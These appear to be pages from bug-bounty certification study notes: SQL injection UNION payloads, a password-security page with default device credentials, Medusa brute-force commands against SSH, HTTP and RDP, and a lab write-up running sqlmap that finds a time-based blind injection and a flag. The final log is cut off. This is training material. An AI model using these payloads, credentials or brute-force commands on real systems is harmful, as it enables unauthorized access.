cn' UNION select 1,@@version,3,4-- - Copy cn' UNION select 1,user(),3,4-- - --- # Password Security Fundamentals | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals.md) . Password Security Fundamentals[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-security-fundamentals) ------------------------------------------------------------------------------------------------------------------------------------------------------------------- The effectiveness of brute-force attacks hinges on the strength of the passwords it targets. Understanding the fundamentals of password security is crucial for appreciating the importance of robust password practices and the challenges posed by brute-force attacks. ### The Importance of Strong Passwords[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-importance-of-strong-passwords) Passwords are the first line of defense in protecting sensitive information and systems. A strong password is a formidable barrier, making it significantly harder for attackers to gain unauthorized access through brute forcing or other techniques. The longer and more complex a password is, the more combinations an attacker has to try, exponentially increasing the time and resources required for a successful attack. ### The Anatomy of a Strong Password[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-anatomy-of-a-strong-password) The `National Institute of Standards and Technology` (`NIST`) provides guidelines for creating strong passwords. These guidelines emphasize the following characteristics: * `Length`: The longer the password, the better. Aim for a minimum of 12 characters, but longer is always preferable. The reasoning is simple: each additional character in a password dramatically increases the number of possible combinations. For instance, a 6-character password using only lowercase letters has 26^6 (approximately 300 million) possible combinations. In contrast, an 8-character password has 26^8 (approximately 200 billion) combinations. This exponential increase in possibilities makes longer passwords significantly more resistant to brute-force attacks. * `Complexity`: Use uppercase and lowercase letters, numbers, and symbols. Avoid quickly guessable patterns or sequences. Including different character types expands the pool of potential characters for each position in the password. For example, a password using only lowercase letters has 26 possibilities per character, while a password using both uppercase and lowercase letters has 52 possibilities per character. This increased complexity makes it much harder for attackers to predict or guess passwords. * `Uniqueness`: Don't reuse passwords across different accounts. Each account should have its own unique and strong password. If one account is compromised, all other accounts using the same password are also at risk. By using unique passwords for each account, you compartmentalize the potential damage of a breach. * `Randomness`: Avoid using dictionary words, personal information, or common phrases. The more random the password, the harder it is to crack. Attackers often use wordlists containing common passwords and personal information to speed up their brute-force attempts. Creating a random password minimizes the chances of being included in such wordlists. ### Common Password Weaknesses[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#common-password-weaknesses) Despite the importance of strong passwords, many users still rely on weak and easily guessable passwords. Common weaknesses include: * `Short Passwords`: Passwords with fewer than eight characters are particularly vulnerable to brute-force attacks, as the number of possible combinations is relatively small. * `Common Words and Phrases`: Using dictionary words, names, or common phrases as passwords makes them susceptible to dictionary attacks, where attackers try a pre-defined list of common passwords. * `Personal Information`: Incorporating personal information like birthdates, pet names, or addresses into passwords makes them easier to guess, especially if this information is publicly available on social media or other online platforms. * `Reusing Passwords`: Using the same password across multiple accounts is risky. If one account is compromised, all other accounts using the same password are also at risk. * `Predictable Patterns`: Using patterns like "qwerty" or "123456" or simple substitutions like "p@ssw0rd" makes passwords easy to guess, as these patterns are well-known to attackers. ### Password Policies[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-policies) Organizations often implement password policies to enforce the use of strong passwords. These policies typically include requirements for: * `Minimum Length`: The minimum number of characters a password must have. * `Complexity`: The types of characters that must be included in a password (e.g., uppercase, lowercase, numbers, symbols). * `Password Expiration`: The frequency with which passwords must be changed. * `Password History`: The number of previous passwords that cannot be reused. While password policies can help improve password security, they can also lead to user frustration and the adoption of poor password practices, such as writing passwords down or using slight variations of the same password. When designing password policies, it's important to balance security and usability. ### The Perils of Default Credentials[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-perils-of-default-credentials) One critical aspect of password security often overlooked is the danger posed by `default passwords`. These pre-set passwords come with various devices, software, or online services. They are often simple and easily guessable, making them a prime target for attackers. Default passwords significantly increase the success rate of brute-force attacks. Attackers can leverage lists of common default passwords, dramatically reducing the search space and accelerating the cracking process. In some cases, attackers may not even need to perform a brute-force attack; they can try a few common default passwords and gain access with minimal effort. The prevalence of default passwords makes them a low-hanging fruit for attackers. They provide an easy entry point into systems and networks, potentially leading to data breaches, unauthorized access, and other malicious activities. Device/Manufacturer Default Username Default Password Device Type Linksys Router admin admin Wireless Router D-Link Router admin admin Wireless Router Netgear Router admin password Wireless Router TP-Link Router admin admin Wireless Router Cisco Router cisco cisco Network Router Asus Router admin admin Wireless Router Belkin Router admin password Wireless Router Zyxel Router admin 1234 Wireless Router Samsung SmartCam admin 4321 IP Camera Hikvision DVR admin 12345 Digital Video Recorder (DVR) Axis IP Camera root pass IP Camera Ubiquiti UniFi AP ubnt ubnt Wireless Access Point Canon Printer admin admin Network Printer Honeywell Thermostat admin 1234 Smart Thermostat Panasonic DVR admin 12345 Digital Video Recorder (DVR) These are just a few examples of well-known default passwords. Attackers often compile extensive lists of such passwords and use them in automated attacks. Alongside default passwords, default usernames are another major security concern. Manufacturers often ship devices with pre-set usernames, such as `admin`, `root`, or `user`. You might have noticed in the table above how many use common usernames. These usernames are widely known and often published in documentation or readily available online. SecLists maintains a list of common usernames at [top-usernames-shortlist.txt](https://github.com/danielmiessler/SecLists/blob/master/Usernames/top-usernames-shortlist.txt) Default usernames are a significant vulnerability because they give attackers a predictable starting point. In many brute-force attacks, knowing the username is half the battle. With the username already established, the attacker only needs to crack the password, and if the device still uses a default password, the attack can be completed with minimal effort. Even when default passwords are changed, retaining the default username still leaves systems vulnerable to attacks. It drastically narrows the attack surface, as the hacker can skip the process of guessing usernames and focus solely on the password. #### Brute-forcing and Password Security[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#brute-forcing-and-password-security) In a brute-force scenario, the strength of the target passwords becomes the attacker's primary obstacle. A weak password is akin to a flimsy lock on a door – easily picked open with minimal effort. Conversely, a strong password acts as a fortified vault, demanding significantly more time and resources to breach. For a pentester, this translates to a deeper understanding of the target's security posture: * `Evaluating System Vulnerability:` Password policies, or their absence, and the likelihood of users employing weak passwords directly inform the potential success of a brute-force attack. * `Strategic Tool Selection:` The complexity of the passwords dictates the tools and methodologies a pentester will deploy. A simple dictionary attack might suffice for weak passwords, while a more sophisticated, hybrid approach may be required to crack stronger ones. * `Resource Allocation:` The estimated time and computational power needed for a brute-force attack is intrinsically linked to the complexity of the passwords. This knowledge is essential for effective planning and resource management. * `Exploiting Weak Points:` Default passwords are often a system's Achilles' heel. A pentester's ability to identify and leverage these easily guessable credentials can provide a swift entry point into the target network. In essence, a deep understanding of password security is a roadmap for a pentester navigating the complexities of a brute-force attack. It unveils potential weak points, informs strategic choices, and predicts the effort required for a successful breach. This knowledge, however, is a double-edged sword. It also underscores the critical importance of robust password practices for any organization seeking to defend against such attacks, highlighting each user's pivotal role in safeguarding sensitive information. [PreviousIntro](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro) [NextBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/brute-force-attacks) Last updated 1 year ago * [Password Security Fundamentals](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-security-fundamentals) * [The Importance of Strong Passwords](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-importance-of-strong-passwords) * [The Anatomy of a Strong Password](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-anatomy-of-a-strong-password) * [Common Password Weaknesses](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#common-password-weaknesses) * [Password Policies](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#password-policies) * [The Perils of Default Credentials](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/intro/password-security-fundamentals#the-perils-of-default-credentials) --- # Medusa | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa.md) . Medusa[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa) ------------------------------------------------------------------------------------- * * * Medusa, a prominent tool in the cybersecurity arsenal, is designed to be a fast, massively parallel, and modular login brute-forcer. Its primary objective is to support a wide array of services that allow remote authentication, enabling penetration testers and security professionals to assess the resilience of login systems against brute-force attacks. ### Installation[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#installation) Medusa often comes pre-installed on popular penetration testing distributions. You can verify its presence by running: Medusa Copy hack3rSWE@htb[/htb]$ medusa -h Installing Medusa on a Linux system is straightforward. Medusa Copy hack3rSWE@htb[/htb]$ sudo apt-get -y update hack3rSWE@htb[/htb]$ sudo apt-get -y install medusa ### Command Syntax and Parameter Table[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#command-syntax-and-parameter-table) Medusa's command-line interface is straightforward. It allows users to specify hosts, users, passwords, and modules with various options to fine-tune the attack process. Medusa Copy hack3rSWE@htb[/htb]$ medusa [target_options] [credential_options] -M module [module_options] Parameter Explanation Usage Example `-h HOST` or `-H FILE` Target options: Specify either a single target hostname or IP address (`-h`) or a file containing a list of targets (`-H`). `medusa -h 192.168.1.10 ...` or `medusa -H targets.txt ...` `-u USERNAME` or `-U FILE` Username options: Provide either a single username (`-u`) or a file containing a list of usernames (`-U`). `medusa -u admin ...` or `medusa -U usernames.txt ...` `-p PASSWORD` or `-P FILE` Password options: Specify either a single password (`-p`) or a file containing a list of passwords (`-P`). `medusa -p password123 ...` or `medusa -P passwords.txt ...` `-M MODULE` Module: Define the specific module to use for the attack (e.g., `ssh`, `ftp`, `http`). `medusa -M ssh ...` `-m "MODULE_OPTION"` Module options: Provide additional parameters required by the chosen module, enclosed in quotes. `medusa -M http -m "POST /login.php HTTP/1.1\r\nContent-Length: 30\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nusername=^USER^&password=^PASS^" ...` `-t TASKS` Tasks: Define the number of parallel login attempts to run, potentially speeding up the attack. `medusa -t 4 ...` `-f` or `-F` Fast mode: Stop the attack after the first successful login is found, either on the current host (`-f`) or any host (`-F`). `medusa -f ...` or `medusa -F ...` `-n PORT` Port: Specify a non-default port for the target service. `medusa -n 2222 ...` `-v LEVEL` Verbose output: Display detailed information about the attack's progress. The higher the `LEVEL` (up to 6), the more verbose the output. `medusa -v 4 ...` #### Medusa Modules[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa-modules) Each module in Medusa is tailored to interact with specific authentication mechanisms, allowing it to send the appropriate requests and interpret responses for successful attacks. Below is a table of commonly used modules: Medusa Module Service/Protocol Description Usage Example FTP File Transfer Protocol Brute-forcing FTP login credentials, used for file transfers over a network. `medusa -M ftp -h 192.168.1.100 -u admin -P passwords.txt` HTTP Hypertext Transfer Protocol Brute-forcing login forms on web applications over HTTP (GET/POST). `medusa -M http -h www.example.com -U users.txt -P passwords.txt -m DIR:/login.php -m FORM:username=^USER^&password=^PASS^` IMAP Internet Message Access Protocol Brute-forcing IMAP logins, often used to access email servers. `medusa -M imap -h mail.example.com -U users.txt -P passwords.txt` MySQL MySQL Database Brute-forcing MySQL database credentials, commonly used for web applications and databases. `medusa -M mysql -h 192.168.1.100 -u root -P passwords.txt` POP3 Post Office Protocol 3 Brute-forcing POP3 logins, typically used to retrieve emails from a mail server. `medusa -M pop3 -h mail.example.com -U users.txt -P passwords.txt` RDP Remote Desktop Protocol Brute-forcing RDP logins, commonly used for remote desktop access to Windows systems. `medusa -M rdp -h 192.168.1.100 -u admin -P passwords.txt` SSHv2 Secure Shell (SSH) Brute-forcing SSH logins, commonly used for secure remote access. `medusa -M ssh -h 192.168.1.100 -u root -P passwords.txt` Subversion (SVN) Version Control System Brute-forcing Subversion (SVN) repositories for version control. `medusa -M svn -h 192.168.1.100 -u admin -P passwords.txt` Telnet Telnet Protocol Brute-forcing Telnet services for remote command execution on older systems. `medusa -M telnet -h 192.168.1.100 -u admin -P passwords.txt` VNC Virtual Network Computing Brute-forcing VNC login credentials for remote desktop access. `medusa -M vnc -h 192.168.1.100 -P passwords.txt` Web Form Brute-forcing Web Login Forms Brute-forcing login forms on websites using HTTP POST requests. `medusa -M web-form -h www.example.com -U users.txt -P passwords.txt -m FORM:"username=^USER^&password=^PASS^:F=Invalid"` #### Targeting an SSH Server[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#targeting-an-ssh-server) Imagine a scenario where you need to test the security of an SSH server at `192.168.0.100`. You have a list of potential usernames in `usernames.txt` and common passwords in `passwords.txt`. To launch a brute-force attack against the SSH service on this server, use the following Medusa command: Medusa This command instructs Medusa to: * Target the host at `192.168.0.100`. * Use the usernames from the `usernames.txt` file. * Test the passwords listed in the `passwords.txt` file. * Employ the `ssh` module for the attack. Medusa will systematically try each username-password combination against the SSH service to attempt to gain unauthorized access. #### Targeting Multiple Web Servers with Basic HTTP Authentication[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#targeting-multiple-web-servers-with-basic-http-authentication) Suppose you have a list of web servers that use basic HTTP authentication. These servers' addresses are stored in `web_servers.txt`, and you also have lists of common usernames and passwords in `usernames.txt` and `passwords.txt`, respectively. To test these servers concurrently, execute: Medusa In this case, Medusa will: * Iterate through the list of web servers in `web_servers.txt`. * Use the usernames and passwords provided. * Employ the `http` module with the `GET` method to attempt logins. By running multiple threads, Medusa efficiently checks each server for weak credentials. #### Testing for Empty or Default Passwords[](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#testing-for-empty-or-default-passwords) If you want to assess whether any accounts on a specific host (`10.0.0.5`) have empty or default passwords (where the password matches the username), you can use: Medusa This command instructs Medusa to: * Target the host at `10.0.0.5`. * Use the usernames from `usernames.txt`. * Perform additional checks for empty passwords (`-e n`) and passwords matching the username (`-e s`). * Use the appropriate service module (replace `service_name` with the correct module name). Medusa will try each username with an empty password and then with the password matching the username, potentially revealing accounts with weak or default configurations. [PreviousLogin Forms](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/hydra/login-forms) [NextWeb Services](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa/web-services) Last updated 1 year ago * [Medusa](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#medusa) * [Installation](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#installation) * [Command Syntax and Parameter Table](https://my-gitbook-2.gitbook.io/cbbh/13.-login-brute-forcing/medusa#command-syntax-and-parameter-table) Copy hack3rSWE@htb[/htb]$ medusa -h 192.168.0.100 -U usernames.txt -P passwords.txt -M ssh Copy hack3rSWE@htb[/htb]$ medusa -H web_servers.txt -U usernames.txt -P passwords.txt -M http -m GET Copy hack3rSWE@htb[/htb]$ medusa -h 10.0.0.5 -U usernames.txt -e ns -M service_name --- # Skills Assessment | CBBH For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt) . This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment.md) . * * * You are given access to a web application with basic protection mechanisms. Use the skills learned in this module to find the SQLi vulnerability with SQLMap and exploit it accordingly. To complete this module, find the flag and submit it here. #### What's the contents of table final\_flag?[](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment#whats-the-contents-of-table-final_flag) We start off by loading the web page — it looks like a shoe store. I start off by browsing around the site and clicking on links with the Developer Tools open and monitoring the network traffic. When I click the ‘Add to Cart’ button I notice a POST request to action.php ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FEqTqDPpJaISnohM4sCWi%252Fimage.png%3Falt%3Dmedia%26token%3Dbb5acd67-735d-4af8-8f4b-dee8dda3d1ad&width=768&dpr=3&quality=100&sign=f86c9af8&sv=2) And in Burp looks like ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FtGCg1yEpSTi4w0TN4mR6%252Fimage.png%3Falt%3Dmedia%26token%3D330c2f08-9e03-46d4-8794-4b7df0bdbd1f&width=768&dpr=3&quality=100&sign=2bd2611e&sv=2) I can copy this to a req.txt for future use ![](https://my-gitbook-2.gitbook.io/cbbh/~gitbook/image?url=https%3A%2F%2F1842858984-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FysDlYrLDpld6VwcWEx4H%252Fuploads%252FwDQ9nlFkITPNKJWgSymS%252Fimage.png%3Falt%3Dmedia%26token%3D3759c5b8-0d27-4c54-a812-f3caeef0c43a&width=768&dpr=3&quality=100&sign=567eeb11&sv=2) This looks like it might be a good place to check. I’ll copy it as curl, then replace the command with sqlmap: Output: Notable output: So since it seems that teh Web App Firewall (WAF) is in place, So I can use the tamper scripts, or the '--tamper=between' flag sqlmap is suggesting First I check with this command to see if there is dba access There wasn't Looks like we are not a DBA, but we do seem to be getting information from the system. We’ll test it out and see if we can pull the table: A: HTB{n07\_50\_h4rd\_r16h7?!} [PreviousOS Exploitation](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/advanced-sql-map-usage/os-exploitation) [NextRewalk](https://my-gitbook-2.gitbook.io/cbbh/9.-sqlmap-essentials/skills-assessment/rewalk) Last updated 9 months ago Copy await fetch("http://94.237.61.82:57625/action.php", { "credentials": "omit", "headers": { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Content-Type": "application/json", "Priority": "u=0" }, "referrer": "http://94.237.61.82:57625/shop.html", "body": "{\"id\":1}", "method": "POST", "mode": "cors" }); Copy sqlmap 'http://94.237.61.82:57625/action.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/json' -H 'Origin: http://94.237.61.82:57625' -H 'Connection: keep-alive' -H 'Referer: http://94.237.61.82:57625/shop.html' -H 'Priority: u=0' --data-raw '{"id":1}' Copy └─$ sqlmap 'http://94.237.61.82:57625/action.php' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/json' -H 'Origin: http://94.237.61.82:57625' -H 'Connection: keep-alive' -H 'Referer: http://94.237.61.82:57625/shop.html' -H 'Priority: u=0' --data-raw '{"id":1}' ___ __H__ ___ ___[,]_____ ___ ___ {1.9.2#stable} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 15:13:32 /2025-04-27/ JSON data found in POST body. Do you want to process it? [Y/n/q] [15:13:37] [INFO] testing connection to the target URL [15:13:37] [INFO] testing if the target URL content is stable [15:13:37] [ERROR] there was an error checking the stability of page because of lack of content. Please check the page request results (and probable errors) by using higher verbosity levels [15:13:37] [INFO] testing if (custom) POST parameter 'JSON id' is dynamic [15:13:37] [WARNING] (custom) POST parameter 'JSON id' does not appear to be dynamic [15:13:38] [INFO] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might be injectable (possible DBMS: 'MySQL') [15:13:38] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [15:13:44] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:13:44] [WARNING] reflective value(s) found and filtering out [15:13:45] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [15:13:46] [INFO] testing 'Generic inline queries' [15:13:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [15:13:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [15:14:05] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' [15:14:14] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' [15:14:28] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' [15:14:45] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)' [15:15:04] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)' [15:15:43] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests [15:15:43] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [15:16:22] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)' [15:16:41] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:16:57] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)' [15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)' [15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)' [15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)' [15:17:17] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)' [15:17:18] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)' [15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause' [15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' [15:17:18] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause' [15:17:18] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)' [15:17:18] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries' [15:17:29] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries' [15:17:29] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [15:17:40] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [15:17:50] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [15:18:01] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [15:18:11] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [15:18:22] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [15:18:33] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [15:18:43] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [15:18:54] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:19:05] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:19:15] [INFO] testing 'MySQL >= 5.0 (inline) error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:19:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:19:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:19:37] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [15:19:47] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [15:19:58] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:20:08] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [15:20:19] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [15:20:24] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [15:20:31] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [15:20:32] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [15:20:32] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)' [15:20:32] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [15:20:32] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [15:20:32] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [15:20:32] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [15:20:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)' [15:20:33] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)' [15:20:33] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)' [15:20:34] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)' [15:20:34] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)' [15:20:35] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)' [15:20:35] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)' [15:20:35] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)' [15:20:36] [INFO] testing 'MySQL inline queries' [15:20:36] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [15:20:42] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [15:20:50] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [15:20:55] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [15:21:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [15:21:08] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [15:21:17] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [15:21:28] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [15:21:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [15:21:28] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:21:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:21:35] [WARNING] user aborted during detection phase how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] [15:21:45] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns' [15:21:50] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns' [15:21:54] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns' [15:21:58] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns' [15:22:02] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns' [15:22:06] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns' [15:22:09] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns' [15:22:13] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns' [15:22:17] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns' [15:22:22] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive [15:22:33] [WARNING] it appears that the character '>' is filtered by the back-end server. You are strongly advised to rerun with the '--tamper=between' (custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 2197 HTTP(s) requests: --- Parameter: JSON id ((custom) POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: {"id":"1 AND (SELECT 8202 FROM (SELECT(SLEEP(5)))zJXu)"} --- [15:23:11] [INFO] the back-end DBMS is MySQL [15:23:11] [WARNING] it is very important to not stress the network 